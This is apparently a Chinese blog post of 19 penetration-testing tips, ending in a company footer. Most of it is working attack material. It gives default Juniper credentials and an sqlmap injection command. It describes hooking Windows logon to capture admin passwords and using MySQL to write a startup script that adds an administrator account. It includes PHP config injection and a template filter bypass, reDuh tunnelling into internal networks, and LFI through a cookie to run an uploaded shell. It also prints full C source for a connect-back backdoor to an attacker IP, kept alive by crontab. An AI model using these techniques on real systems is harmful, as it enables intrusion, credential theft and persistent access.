1、Juniper(瞻博)防火墙的默认账号密码为:netscreen/netscreen
2、以下apache存在header injection漏洞:1.3.34/2.0.57/2.2.1
3、利用sqlmap进行POST注入:
1
|
./sqlmap.py -u “http://test.com/admin/test.php” –data “参数_1=a&参数_2=b” -p “参数_1″
|
4、一个小技巧:面对win主机,如果发现目标有被入侵过的端倪,而又开着3389,进去试一下连敲5个Shift,人参无处不惊喜啊!
5、遇到目标有很多个C段的情况,寻找E-mail域名所在的C段,往往mail服务器所在的C段为最核心的功能段。
6、GetHashes、Pwdump、WCE等工具dump不了hash?那就试试使用WinlogonHack记录管理员登陆3389时的密码吧!下载之后将安装程序文件Hookmsgina.dll、install.bat、On.reg以及ReadLog.bat复制到一个相同文件夹下面,然后在Dos提示符或者GUI界面写直接运行install.bat即可。执行完毕后不需要重启,当有3389登上时,自动加载DLL,并且记录登录密码!管理员的登陆密码保存在系统system32目录的boot.dat文件中。
7、GetHashs和saminside有些时候获取不到Hash,可能的原因是管理员的密码过长,可以使用上一条的那种方法来获取。
8、如果能从Google搜索出一个网站具有黑客留下来的Webshell,那这个网站十有八九具有漏洞(这是废话~~~),具体来说有列目录漏洞。因为其他页面不可能会有链接链到Webshell的地址上,所以搜索引擎的爬虫不会爬到Webshell,所以最大的可能就是通过列目录漏洞暴露出Webshell的地址。
9、列目录漏洞的利用无非几种:Web编辑器、敏感文件(zip、rar、ini、mdb等)、upload页面、后台管理页面……(欢迎留言补充)
10、让win自带的防火墙允许某个端口进出(例如TCP 1234端口):
1
|
netsh firewall set portopening TCP 1234 ENABLE
|
11、关闭一些危险的组件,禁止webshell运行命令:
1
2
3
|
(1)regsvr32 /u c:/windows/system32/WSHom.Ocx /s
(2)regsvr32 /u c:/windows/system32/shell32.dll /s
(3)regsvr32 /u c:/windows/system32/scrrun.dll /s
|
开启也很简单,尤其是第三个的FSO组件,很可能造成网站奔溃,恢复的方法是
1
|
regsvr32 c:/windows/system32/scrrun.dll /s
|
12、在一种很极端的情况下,你实在没有办法了,可以尝试一下启动项写入VBS脚本提权。当然,条件也十分苛刻:
(1)如果你的Webshell有足够的权限,能在用户启动目录里面写入文件
(2)耐心地等待管理员开启机子
(3)没开杀毒软件
我们利用Mysql来outfile出vbs脚本:
1
2
3
4
5
|
create table a(cmd text);
insert into a values (“set wshshell=createobject(““wscript.shell”“)”);
insert into a values (“a=wshshell.run(““cmd.exe /c net user user password /add”“,0)”);
insert into a values (“a=wshshell.run(““cmd.exe /c net localgroup administrators user /add”“,0)”);
select * from a into outfile “c://docume~1//alluse~1//[开始]菜单//程序//启动//a.vbs”;
|
说明
1
2
3
|
insert into a values (“a=wshshell.run(““cmd.exe /c net user user password /add”“,0)”);里面的“0”意思是不弹出CMD窗口,安静地运行。
13、PhpSpy 2013 密码修改
|
(1)、将加密函数:
1
2
3
4
5
6
|
function encode_pass($pass) {
$k = ‘angel’;
$pass = md5($k.$pass);
$pass = md5($pass.$k);
$pass = md5($k.$pass.$k);
return $pass;
|
最后一行
1
|
return $pass; 修改为 echo $pass;
|
(2)、在Login框登陆输入你的密码,即可输出加密好的密码。
(3)、然后在PhpSpy 2013里修改 $pass的值 就可以了。
13、
真实案例:渗透某站后发现对方规则较变态,比如执行id,uname-a,等便可判断为入侵。
想了下,通过Base64编码绕过
命令写入文件的方式实现绕过(实际运用中要能上传或者写入文件)
还有其他很多方法,即使不能上传文件,也可以自己’因地制宜’
借到执行命令的字符后反单引号执行。用的方法是 linux Shell expr
linux Shell expr可以参考
http://blog.csdn.net/junjieguo/article/details/7293622
14、渗透某站过程中,进了后台拿不到shell,后台配置文件可写,便下了源码研究。
具体代码:
1
2
3
4
5
6
7
|
$config[“db”][“pass”] = “”;
$config[“db”][“data”] = “phpok”;
$config[“db”][“prefix”] = “可写入的数据”;
$config[“db”][“debug”] = false;
|
大胆地提交{${phpinfo()}}
访问配置文件,php代码被解析执行了。
原理是php双引号的解析执行,很多开源程序后台都可用这个拿shell喔。
Php双引号解析执行详见:
http://www.myhack58.com/Article/html/3/68/2013/36620.htm
15、遇到可修改模板的地方,看能否修改模板为php后缀,若不行,考虑畸形文件名?如.php.apk。
apache是依旧当做PHP执行的。
服务器解析漏洞详见 http://drops.wooyun.org/papers/539
16、
曾经搞一个站的后台,成功修改模板为.php后缀,但内容过滤了PHP标签<?
没办法了?
No! 写入:
1
|
<script language=“php”>phpinfo() ;</script>
|
成功写入并解析,done.
17、reDuh,一个不错的工具,可以映射内网端口到http或https端口的http服务上:
服务端有aps、jsp、php版,具体下载:http://www.sensepost.com/research/reDuh。下面简单说下这个工具
先在服务器上传服务端:访问http://www.xxx.com/shell/reduh.jsp如下:
[reDuhError]Undefined Request
说明工作正常。在本地:
1
2
3
4
5
6
7
|
D:/Tools/reDuh/0.2/reDuhClient>java reDuhClient www.xxx.com 80 /shell/reduh.jsp
[Info]Querying remote JSP for usable remote RPC port
[Info]Remote RPC port chosen as 42001
[Info]Attempting to start reDuh.jsp from www.xxx.com:80/shell/reduh.jsp and set
ting remote RPC port to 42001. Please wait…
[InfoL]reDuhClient service listener started on local port 1010
[InfoL]Caught new service connection on port 1010
|
本地默认监听1010端口:
1
2
3
4
5
6
|
D:/Tools>nc -vv 127.0.0.1 1010
DNS fwd/rev mismatch: localhost != vitter
localhost [127.0.0.1] 1010 (?) open
Welcome to the reDuh command line
>>[createTunnel]5900:192.168.0.3:5900
Successfully bound locally to port 5900. Awaiting connections.
|
出现这个提示就ok了,[createTunnel]本地映射出的端口:被映射的内网ip:被映射的内网ip端口
然后就可以用vnc连接127.0.0.1的5900端口就是连攻击内网的192.168.0.3的服务器了。
18、如何在webshell反弹后门回来后停止apache:
由 python -c ’import pty; pty.spawn(“/bin/sh”)’得到一个可以交互的shell,在有root密码的前提下可 以su,但是发现不能停止httpd,因为这个shell的父进程是httpd的,如果httpd被stop后,发现后门直接就挂了。可以crond去跑 这个后门得到shell不要用webshell跑,在这个shell里面停止httpd(因为该内网服务器段只被映射这一个ip的80端口出来,现在这个 80端口要做内网映射到网关上,可以直接远程管理设备,开DMZ之后入侵其他内网服务器)。
本地:
1
|
nc -l -p 5555
|
服务器上:
[root@cactiez etc]#
1
|
cat /home/www/haha.c
|
—————————-代码开始分割线—————————–
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>
int fd, sock;
int port = 5555;
struct sockaddr_in addr;
char mesg[] = ”::Connect-Back Backdoor:: CMD: ”;
char shell[] = ”/bin/sh”;
int main(int argc, char *argv[]) {
while(argc<2) {
fprintf(stderr, ” %s <ip> ”, argv[0]);
exit(0); }
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = inet_addr(argv[1]);
fd = socket(AF_INET, SOCK_STREAM, 0);
connect(fd, (struct sockaddr*)&addr, sizeof(addr));
send(fd, mesg, sizeof(mesg), 0);
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execl(shell, ”in.telnetd”, 0);
close(fd);
return 1;
}
|
—————————-代码结束分割线—————————–
1
2
3
4
|
[root@cactiez etc]# gcc -o /bin/haha /home/www/haha.c
[root@cactiez etc]# mkdir /etc/cr_m
[root@cactiez etc]# cp /home/www/si /etc/cr_m/
[root@cactiez etc]# chmod +x /etc/cr_m/si
|
1
|
[root@cactiez etc]# cat /etc/cr_m/si
|
1
2
|
#!/bin/sh
/bin/haha xxx.xxx.xxx.xx 追加一个crontab每分钟执行的:
|
1
2
3
4
5
6
7
8
9
10
11
12
|
[root@cactiez etc]# echo ”*/1 * * * * root run-parts /etc/cr_m” >> /etc/crontab
[root@cactiez etc]# cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/
# run-parts
01 * * * * root run-parts /etc/cron.hourly
02 4 * * * root run-parts /etc/cron.daily
22 4 * * 0 root run-parts /etc/cron.weekly
42 4 1 * * root run-parts /etc/cron.monthly
*/1 * * * * root run-parts /etc/cr_m
|
1分钟后本地nc监听的就连上了,然后在这个里面停止httpd:
1
2
3
4
5
6
7
|
[root@cactiez etc]# cat /root/s.sh
#!/bin/sh
/sbin/service httpd stop
/usr/local/bin/proxy 80 192.168.0.1 80
sleep 600
killall -9 proxy
/sbin/service httpd restart
|
1
|
[root@cactiez etc]# /root/s.sh &
|
现在连接这机器的公网ip的80端口就已经是网关192.168.0.1的80端口了,赶紧的设置DMZ,搞定内网机器。
19、曾经搞一个站 无XSS 无SQL注入,只开放80端口。用户只能上传图片文件。有个物理路径报错。
运气好看到了cookie有一个
language=en
推测是否服务端的代码为
1
2
3
4
5
|
<?php
Include “en.php”
......
|
动手将cookie改成
1
|
language=../../../etc/passwd
|
中奖了。。
果断将一句话马改成jpg后缀上传,shell.jpg
动手将cookie改成
1
|
language=../../../../../shell.jpg
|
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号